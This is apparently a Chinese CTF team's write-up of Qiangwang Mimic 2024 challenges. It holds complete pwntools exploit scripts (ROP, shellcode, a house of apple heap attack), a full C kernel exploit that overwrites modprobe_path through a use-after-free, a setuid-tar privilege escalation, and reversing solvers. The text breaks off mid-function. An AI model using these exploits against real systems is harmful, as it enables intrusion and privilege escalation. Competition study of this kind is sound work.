本次强网拟态 2024,我们Polaris战队排名第10。
Crypto
XOR
data = "0b050c0e180e585f5c52555c5544545c0a0f44535f0f5e445658595844050f5d0f0f55590c555e5a0914"
key = "mimic"
# 将十六进制字符串转为字节
byte_data = bytes.fromhex(data.replace(' ', ''))
byte_key = key.encode()
# 创建一个与数据等长的密钥流
key_stream = (byte_key * (len(byte_data) // len(byte_key) + 1))[:len(byte_data)]
# 执行异或操作
xor_result = bytes([b ^ k for b, k in zip(byte_data, key_stream)])
# 转换为ASCII字符串
ascii_result = xor_result.decode(errors='replace') # 使用errors='replace'来处理无法解码的字符
print(ascii_result)
Pwn
ezcode
套json的直接shellcode,限制长度0x16,先实现0x16字节内的mprotect+read,后续写orw_shellcode
from pwn import *
import json
context(log_level='debug',os='linux',arch='amd64')
pwnfile = './vuln'
io=process(pwnfile)
#io = remote()
elf = ELF(pwnfile)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF("./libc.so.6")
shellcode='''
sal edi,12
mov dx,7
mov ax,10
syscall
cdq
xor eax,eax
mov esi,ecx
xor edi,edi
syscall
'''
shellcode1 = asm(shellcode)
print("len-->",len(shellcode1))
payload1 = {
"shellcode": shellcode1.hex()
}
io.sendlineafter("Please enter your input:",json.dumps(payload1))
shellcode = asm('''
mov rdi,0x999800d
xor esi,esi
xor rdx,rdx
mov rax,2
syscall
mov rdi,rax
mov rsi,0x9998000+0x300
mov edx,0x40
xor eax,eax
syscall
mov edi,1
mov rsi,0x9998000+0x300
mov rax,1
syscall
''')
io.sendline(b'./flag\x00\x00\x00'+shellcode)
io.interactive()
signin_revenge
栈溢出,no pie, no canary,构造ROP 泄露地址然后orw
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
pwnfile = './vuln'
#io=process(pwnfile)
io=remote("pwn-16255a8951.challenge.xctf.org.cn", 9999, ssl=True)
elf = ELF(pwnfile)
libc = ELF("./libc.so.6")
def debug():
gdb.attach(io)
pause()
pop_rdi = 0x0000000000401393
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_adr = elf.symbols['main']
#debug()
pay = b'a'*0x108+flat(pop_rdi,puts_got,puts_plt,main_adr)
io.sendlineafter("lets move and pwn!\n",pay)
puts_adr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_base = puts_adr-libc.sym['puts']
pop_rdx = libc_base + 0x0000000000142c92
pop_rsi = libc_base + 0x000000000002601f
pop_rbp = libc_base + 0x00000000000226c0
pop_rax = libc_base + 0x0000000000036174
leave_ret = 0x4012EE
read = 0x04012D6 #0x130
bss = 0x404000+0x800
flag_adr= bss+0x98
op = libc_base + libc.symbols['open']
re = libc_base + libc.symbols['read']
wr = libc_base + libc.symbols['write']
pay = b'a'*0x100+p64(bss-8)+flat(pop_rax,bss,read)
io.sendafter("lets move and pwn!\n",pay)
#debug()
orw = flat(pop_rdi,flag_adr,pop_rsi,0,op,
pop_rdi,3,pop_rsi,flag_adr+0x200,pop_rdx,0x100,re,
pop_rdi,1,pop_rsi,flag_adr+0x200,pop_rdx,0x40,wr)+b'./flag\x00'
io.sendline(orw)
io.interactive()
QWEN
可以越界写到 memu 指针,和 0x20 字节。
然后是利用 后门 读 /proc/self/maps 获取内存信息,通过 libc_base 拿到两个 gadget
0x000000000004ee21 : pop rdx ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret
0x00000000000d10be : xor eax, eax ; add rsp, 8 ; ret
劫持 menu 指针为 pop rdx ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret,跳到 read 多写的 0x20 字节,执行 system(“/bin/sh”) 获取 shell
exp
from pwn import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = remote("pwn-bc7e9f0275.challenge.xctf.org.cn", 9999, ssl=True)
#p = process('pwn1')
elf = ELF('pwn1')
libc = ELF('libc.so.6')
#debug('b *$rebase(0x1022)\n')
for i in range(5):
sla(b'\xbc\x89\xef\xbc\x9a', str(i) + ' 0')
pl = b'a'*0x8 + p16(0x1508)
sa(b'say?', pl)
sla(b'game [Y/N]', b'N')
sla(b'\xbc\x89\xef\xbc\x9a', '111 111')
sla(b'administrator key\n', str(0x6b8b4567))
file_name = b'/proc/self/maps'
sla(b'logged in!\n', file_name)
rl(b'The debugging information is as follows >>\n')
pro_base = int(r(12), 16)
rl(b'libc.so.6\n')
libc_base = int(r(12), 16) - 0x1e7000
lg('pro_base', pro_base)
lg('libc_base', libc_base)
for i in range(5):
sla(b'\xbc\x89\xef\xbc\x9a', str(i) + ' 0')
# 0x000000000004ee21 : pop rdx ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret
# 0x00000000000d10be : xor eax, eax ; add rsp, 8 ; ret
rdi = libc_base + 0x000000000002164f
system, binsh = get_sb()
ret = libc_base + 0x00000000000008aa
one_gadget = libc_base + 0x000000000004ee21
pl = p64(libc_base + 0x00000000000d10be) + p64(one_gadget) + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
sa(b'say?', pl)
sla(b'game [Y/N]', b'N')
sla(b'\xbc\x89\xef\xbc\x9a', '111 111111111111111111111')
lg('pro_base', pro_base)
lg('libc_base', libc_base)
#pause()
inter()
然后是提权。
靶机上的 pwn2 可以进行 tar 解压,拥有 s 权限,并且 -x 如果指向一个不存在的文件,可以进行文件创建和解压,利用该功能进行 tar 伪造,进行文件解压覆写。
比如
/home/pwn2 -x test.tar
就会要求输入 base64,输入本地生成的 tar 包即可
由于 docker 题目中通常利用 xinetd ,并且查看 xinetd 的配置文件,是利用 /usr/bin/chroot 进行 root 到 ctf 用户的切换,所以修改 /usr/bin/chroot 为 chmox 777 /home/ctf/flag ,同时用另外终端 nc 后,触发 chroot 指向,即可修改 flag 权限读取
signin
add函数中有一个0_o函数里是跟signin_revenge相同的栈溢出,直接利用这个打orw即可
from pwn import *
import ctypes
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './vuln'
libc = ELF('./libc.so.6')
#libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
#libc.srand.argtypes = [ctypes.c_uint]
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote("pwn-c9b9d9e4e9.challenge.xctf.org.cn", 9999, ssl=True)
else:
r = process(file_name)
libcc = cdll.LoadLibrary('./libc.so.6')
libcc.srand(libcc.time(0))
elf = ELF(file_name)
def dbg():
gdb.attach(r)
pause()
def dbgg():
raw_input()
r.send('rbp')
for i in range(100):
a= libcc.rand()%100+1
r.sendafter('Input the authentication code:\n',p64(a))
r.sendafter('>> \n', p32(1))
#dbg()
r.sendafter('Index: \n', p32(0))
r.sendafter('Note: \n', b'a'*0x10)
sleep(0.5)
r.send(b'a'*0x108+p64(0x401893)+p64(0x404028)+p64(0x401110)+p64(0x4013C0))
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
openn = libc_base+libc.sym['open']
read = libc_base+libc.sym['read']
write = libc_base+libc.sym['write']
rdi = libc_base + 0x0000000000023b6a
rsi = libc_base + 0x000000000002601f
rdx = libc_base + 0x0000000000142c92
print(hex(libc_base))
r.send(b'a'*0x108+p64(rsi)+p64(0x404180)+p64(read)+p64(0x4013C0))
r.send('flag')
sleep(0.5)
r.send(b'a'*0x100+p64(0x404200)+p64(0x4013CF))
sleep(0.5)
r.send(b'a'*0x100+p64(0x404300)+p64(0x4013CF))
sleep(0.5)
#dbg()
r.send(b'flag\x00\x00\x00\x00'+p64(rdi)+p64(0x404200)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(openn)+p64(rdi)+p64(3)+p64(rsi)+p64(0x4041a0)+p64(rdx)+p64(0x30)+p64(read)+p64(rdi)+p64(1)+p64(write))
r.interactive()
guest book
菜单堆程序中有uaf且申请大小限制为0x4ff以上,没有其他限制,那么直接套板子打house of apple即可
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
flag = 1
if flag:
p = remote("pwn-ca43b7414f.challenge.xctf.org.cn", 9999, ssl=True)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def dbg():
gdb.attach(p)
pause()
def cmd(choice):
ru(">")
sl(str(choice))
def add(index,size):
cmd(1)
ru("index")
sl(str(index))
ru("size")
sl(str(size))
def edit(index,content):
cmd(2)
ru("index")
sl(str(index))
ru("content")
sd(content)
def delete(index):
cmd(3)
ru("index")
sl(str(index))
def show(index):
cmd(4)
ru("index")
sl(str(index))
add(0,0x520)
add(1,0x500)
add(2,0x510)
delete(0)
add(3,0x568)
delete(2)
show(0)
mainarean = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=mainarean-0x21b110
edit(0,b'A'*0x10)
show(0)
ru(b'A'*0x10)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x290
edit(0,p64(mainarean)*2)
free_hook = libc_base+libc.sym['__free_hook']
ogs=[0xe3afe,0xe3b01,0xe3b04]
og=libc_base+ogs[1]
puts_io_all = libc_base + libc.sym['_IO_list_all']
wfile = libc_base + libc.sym['_IO_wfile_jumps']
addr=libc.symbols['puts']+libc_base
fake_io_addr = heap_base + 0x1720
lock =0x3ed8b0+libc_base
pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
pop_rdx_r12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
r12 = libc_base + next(libc.search(asm('pop r12;ret;')))
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
open_addr=libc.symbols['open']+libc_base
read_addr=libc.symbols['read']+libc_base
write_addr=libc.symbols['write']+libc_base
puts_addr=libc.symbols['puts']+libc_base
setcontext=libc_base+0x0000000000151990
io_all = libc_base + libc.sym['_IO_list_all']
wfile = libc_base + libc.sym['_IO_wfile_jumps']
magic_gadget = libc_base + + 0x154ff0 +26#0x154dd0 +26# + libc.sym['svcudp_reply'] + 0x1a
#edit(0,'./ctfshow_flag\x00')
orw_addr=heap_base+0x14b0
flag_addr = heap_base+0x260
sh_addr = heap_base+0x7d0
system=libc_base+libc.sym['system']
pl=p64(0)+p64(leave_ret)+p64(0)+p64(puts_io_all-0x20)
pl+=p64(0)*2+p64(0)+p64(fake_io_addr+0x10) #chunk0+0x48
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(fake_io_addr+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile)
pl+=p64(0)*0x14+p64(fake_io_addr+0x120+0x70+0xa0-0x68) #chunk0+0xe0
pl+=p64(0)*0xd+p64(system)
'''
pl1=p64(0)+p64(leave_ret)+p64(0)+p64(puts_io_all-0x20)
pl1+=p64(0)*2+p64(0)+p64(fake_io_addr+0x10) #chunk0+0x48
pl1+=p64(0)*4
pl1+=p64(0)*3+p64(lock)
pl1+=p64(0)*2+p64(fake_io_addr+0xe0)+p64(0)
pl1+=p64(0)*4
pl1+=p64(0)+p64(wfile)
pl1+=p64(0)*0x1c+p64(fake_io_addr+0xe0+0xe8) #chunk0+0xe0
pl1+=p64(0)*0xd+p64(system)
'''
#add(3)
print(hex(libc_base))
print(hex(heap_base))
add(4,0x510)
add(5,0x520)
add(6,0x558)
add(7,0x558)
add(8,0x548)
add(9,0x548)
delete(6)
add(10,0x598)
delete(8)
edit(6,pl)
edit(3,b'\x00'*0x560+b' sh;\x00\x00\x00')
add(8,0x5f0)
add(9,0x540)
dbg()
p.sendline('5')
p.interactive()
ker
exp如下
/*
Pwned by XiaozaYa (:
0x40 GFP_KERNEL; 一次 double free,一次 UAF edit,close时会将 chunk置空所以等价于无限次 add
LEAK:
open-add 0x40 chunk0
第一次 free chunk0
堆喷 user_key_payload占据 chunk0
第二次 free chunk0
close-open-add堆喷占据 chunk0并修改 datalen实现越界读
利用 user_key_payload越界读去 leak kbase/koffset等信息
USMA:
释放 user_key_payload即释放 chunk0
分配 pgv占据 chunk0
利用一次 UAF edit修改 pgv[0]为 modprobe_path所在页面
USMA修改 modprobe_path即可
*/
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
//#include <ctype.h>
#include <pthread.h>
//#include <sys/types.h>
//#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <arpa/inet.h> // 添加 htons 函数的头文件
#include <net/if.h> // 添加 if_nametoindex 函数的头文件
void err_exit(char *msg)
{
perror(msg);
sleep(2);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
/*
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
*/
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
int key_alloc(char *description, char *payload, size_t plen)
{
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}
int key_update(int keyid, char *payload, size_t plen)
{
return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}
int key_read(int keyid, char *buffer, size_t buflen)
{
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
int key_revoke(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
int key_unlink(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}
int fd;
typedef struct {
char *buf;
} request;
void delete(char *buf) {
request req = { .buf = buf };
if (ioctl(fd, 0x30, &req) < 0) {
err_exit("Failed to delete chunk");
}
}
void edit(char *buf) {
request req = { .buf = buf };
if (ioctl(fd, 0x50, &req) < 0) {
err_exit("FAILED to edit chunk");
}
}
void allocate(char *buf) {
request req = { .buf = buf };
if (ioctl(fd, 0x20, &buf) < 0) {
err_exit("Failed to allocate chunk");
}
}
void start() {
fd = open("/dev/ker", O_RDWR);
if (fd == 0) {
err_exit("FAILED to open dev file");
}
}
uint64_t maybe_leak[] = {
0xffffffff8236ca40,
0xffffffffc0203000,
0xffffffff82711453,
0xffffffff811b6530,
0xffffffff81d5d210,
0xffffffff81d5d240,
0xffffffff810da8f1,
0xffffffff8274c13e,
0xffffffffc0203210,
0xffffffff8236ca40,
0xffffffff81d5d250,
0xffffffff81d5d290,
0xffff888006f71198,
0xffffffffc0205000,
0xffffffff811b6530,
0xffffffffc0201000,
0xffffffff811b6530,
0xffffffff82726c9a,
0xffffffff822528e0,
0xffffffff8335d900,
0xffffffff8272d9cf,
0xffffffff82252820,
0xffffffff83301560,
0xffffffff812ecf50,
0xffffffff832af780,
0xffffffff81d5d210,
0xffffffff81d5d240,
0xffffffff84751b80,
0xffffffff810da8f1,
0xffffffff8199f0ad,
0xffffffff83301500,
0xffffffff82252820,
0xffffffff82775856,
0xffffffff82252580,
};
uint64_t check_leak(uint64_t addr) {
uint64_t res = -1;
for (int i = 0; i < sizeof(maybe_leak) / sizeof(uint64_t); i++) {
if (((addr&0xffffffff00000000) == 0xffffffff00000000) && ((maybe_leak[i]&0xfff) == (addr&0xfff))) {
res = addr - maybe_leak[i];
break;
}
}
return res;
}
void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;
if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
err_exit("FAILED to create a new namespace");
tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}
#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) puts("setsockopt(PACKET_RX_RING)"), exit(-1);
}
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) puts("socket(AF_PACKET)"), exit(-1);
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);
return s;
}
// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {
return packet_socket_setup(size, 2048, count, 0, 100);
}
void get_flag(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
system("chmod +x /tmp/dummy");
system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
sleep(0.3);
system("cat /flag");
exit(0);
}
uint64_t modp = 0xffffffff831d8ce0;
uint64_t koffset = -1;
int evil_id = -1;
int orgi_id = -1;
int main(int argc, char** argv, char** envp)
{
bind_core(0);
// int pipe_fd[2];
// pipe(pipe_fd);
// pid_t pid = fork();
//
//if (!pid) {
unshare_setup();
#define SPRAY_KEYS 0x80
char buf[0x1000] = { 0 };
int key_id[SPRAY_KEYS] = { 0 };
char desc[0x100] = { 0 };
int res = -1;
start();
allocate(buf);
delete(buf);
for (int i = 0; i < SPRAY_KEYS; i++) {
sprintf(desc, "XiaozaYa-%d\n", i);
memset(buf, 'A', 0x40);
*(int64_t*)(buf) = i;
key_id[i] = key_alloc(desc, buf, 30);
// if (key_id[i] <= 0) {
// err_exit("Failed to key_alloc");
// }
}
delete(buf);
// for (int i = SPRAY_KEYS / 2; i < SPRAY_KEYS; i++) {
// key_revoke(key_id[i]);
// key_unlink(key_id[i]);
// }
/*
for (int i = 0; i < SPRAY_KEYS / 2; i++) {
memset(buf, 0, sizeof(buf));
key_read(key_id[i], buf, 30);
if (*(uint64_t*)buf != i) {
evil_id = *(uint64_t*)buf;
orgi_id = i;
info("hit");
binary_dump("READ DATA", buf, 30);
break;
}
}
*/
sleep(1);
while (1) {
memset(buf, 'B', sizeof(buf));
*(uint64_t*)(buf + 0x00) = 0;
*(uint64_t*)(buf + 0x08) = 0;
*(uint64_t*)(buf + 0x10) = 0x1000-0x40;
close(fd);
start();
allocate(buf);
for (int i = 0; i < SPRAY_KEYS; i++) {
memset(buf, '\x00', sizeof(buf));
res = key_read(key_id[i], buf, 0x1000-0x40);
// printf("[+] Read Length: %d\n", res);
// binary_dump("LEAK DATA", buf, 30);
if (res > 30) {
evil_id = i;
goto HIT;
}
}
}
HIT:
// hexx("evil_id", evil_id);
for (int i = 0; i < SPRAY_KEYS; i++) {
if (i != evil_id) {
key_revoke(key_id[i]);
key_unlink(key_id[i]);
}
}
sleep(2);
memset(buf, '\x00', sizeof(buf));
res = key_read(key_id[evil_id], buf, 0x1000-0x40);
// binary_dump("LEAK DATA", buf, res);
for (int i = 0; i < res; i+=8) {
uint64_t addr = *(uint64_t*)(buf + i);
// hexx("addr", addr);
koffset = check_leak(addr);
if (koffset != -1) {
break;
}
}
modp += koffset;
// hexx("koffset", koffset);
// hexx("modp", modp);
int nr = 0x40 / 8;
memset(buf, '\x00', sizeof(buf));
*(uint64_t*)(buf + 0x00) = modp & ~0xfff;
key_revoke(key_id[evil_id]);
// key_unlink(key_id[evil_id]);
sleep(1);
int packet_fd = pagealloc_pad(nr, 0x1000);
edit(buf);
char *page = NULL, *modprobe_path = NULL;
page = mmap(NULL, 0x1000*nr, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
// if ((uint64_t)page == -1) {
// err_exit("mmap");
// }
modprobe_path = page + (modp & 0xfff);
// if (!strcmp(modprobe_path, "/sbin/modprobe")) {
// info("success");
strcpy(modprobe_path, "/tmp/x");
munmap(page, 0x1000*nr);
get_flag();
// }
//} else if (pid < 0) {
// err_exit("fork");
//} else {
// char buf[1] = { 0 };
// read(pipe_fd[0], buf, 1);
// puts("Debug");
// getchar();
// puts("[+] EXP NERVER END");
//}
return 0;
}
Re
easyre
花指令混淆,但是由于程序不大,可以动调确认逻辑,最后直接手撕即可
#include<stdio.h>
unsigned char key[] =
{
0xDB, 0xD9, 0x6F, 0xEF, 0xD3, 0x73, 0xC2, 0xD2, 0x12, 0xE4,
0x97, 0x6F, 0x24, 0xD6, 0xBF, 0x72
};
unsigned int* key_p=(unsigned int *)key;
#include <stdio.h>
#include <stdint.h>
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
for (i=0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}
int main()
{
unsigned char pl[] =
{
161,227,81,152,134,86,118,73,111,107,43,129,207,206,18,150,162,112,53,60,49,98,92,241,250,119,107,170,158,109,5,190,232,36,164,248,219,35,58,11,22,32,204,3,173,181,43,169,52,159,120,29,46,185,249,158
};
decipher(0x66,pl,key_p);
decipher(0x66,pl+8,key_p);
decipher(0x66,pl+8+8,key_p);
decipher(0x66,pl+8+16,key_p);
decipher(0x66,pl+8+16+8,key_p);
decipher(0x66,pl+8+16+16,key_p);
decipher(0x66,pl+8+16+16+8,key_p);
for(int i=0;i<0x38;i++){
pl[i]=(0x3f-pl[i])&0xff;
}
for(int i=0;i<0x38;i++){
printf("%c",pl[i]);
}
printf("\n");
}
babyre
直接丢入ida分析,输入uuid后做aes加密,然后转二进制字符串后做一个验证,验证并不是直接比较因此有些麻烦,但可以通过爆破直接恢复,一个个字节爆破即可
#include <iostream>
#include"ida.h"
__int64 __fastcall check(__int64 a1)
{
int v1; // r8d
int v2; // ecx
int v3; // ecx
int v5; // [rsp+8h] [rbp-38h]
int v6; // [rsp+Ch] [rbp-34h]
int v7; // [rsp+10h] [rbp-30h]
int v8; // [rsp+14h] [rbp-2Ch]
int v9; // [rsp+18h] [rbp-28h]
int v10; // [rsp+1Ch] [rbp-24h]
int v11; // [rsp+20h] [rbp-20h]
int v12; // [rsp+24h] [rbp-1Ch]
int v13; // [rsp+28h] [rbp-18h]
int v14; // [rsp+2Ch] [rbp-14h]
int v15[2]; // [rsp+30h] [rbp-10h]
int i; // [rsp+38h] [rbp-8h]
unsigned int v17; // [rsp+3Ch] [rbp-4h]
v17 = 1;
for (i = 0; i <= 0; ++i)
{
v15[1] = *(_DWORD*)(48LL * i + a1);
v15[0] = *(_DWORD*)(48LL * i + a1 + 4);
v14 = *(_DWORD*)(48LL * i + a1 + 8);
v13 = *(_DWORD*)(48LL * i + a1 + 12);
v12 = *(_DWORD*)(48LL * i + a1 + 16);
v11 = *(_DWORD*)(48LL * i + a1 + 20);
v10 = *(_DWORD*)(48LL * i + a1 + 24);
v9 = *(_DWORD*)(48LL * i + a1 + 28);
v8 = *(_DWORD*)(48LL * i + a1 + 32);
v7 = *(_DWORD*)(48LL * i + a1 + 36);
v6 = *(_DWORD*)(48LL * i + a1 + 40);
v5 = *(_DWORD*)(48LL * i + a1 + 44);
v1 = (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v9 & (v11 == 0) & (v12 == 0) & (unsigned __int8)v13 & ((v14 | v15[0] | v15[1]) == 0) & (v10 == 0) & (v6 == 0) | (unsigned __int8)v7 & (unsigned __int8)v9 & (unsigned __int8)v11 & (v13 == 0) & (v14 == 0) & v15[1] & (v15[0] == 0) & (v12 == 0) & (v10 == 0) & (v8 == 0) & (v6 == 0) | (unsigned __int8)v6 & (v8 == 0) & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & (unsigned __int8)v12 & (unsigned __int8)(v14 & v15[0] & LOBYTE(v15[1])) & (v13 == 0) & (v7 == 0);
v2 = (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v8 & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & (unsigned __int8)(v15[0] & LOBYTE(v15[1])) & (v13 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & (unsigned __int8)v8 & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v12 & (unsigned __int8)v13 & v15[0] & (v15[1] == 0) & (v14 == 0) & (v11 == 0) & (v5 == 0) | (unsigned __int8)v5 & (v7 == 0) & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & (unsigned __int8)v13 & (unsigned __int8)v14 & v15[1] & (v15[0] == 0) & (v11 == 0) & (v9 == 0) & (v6 == 0) | (unsigned __int8)v5 & (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v13 & (unsigned __int8)v14 & (*(_QWORD*)v15 == 0LL) & (v12 == 0) & (v9 == 0) & (v6 == 0) | (v1 | (unsigned __int8)v6 & (unsigned __int8)v7 & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (unsigned __int8)v13 & (unsigned __int8)v14 & v15[1] & (v15[0] == 0) & (v11 == 0) & (v8 == 0)) & (v5 == 0);
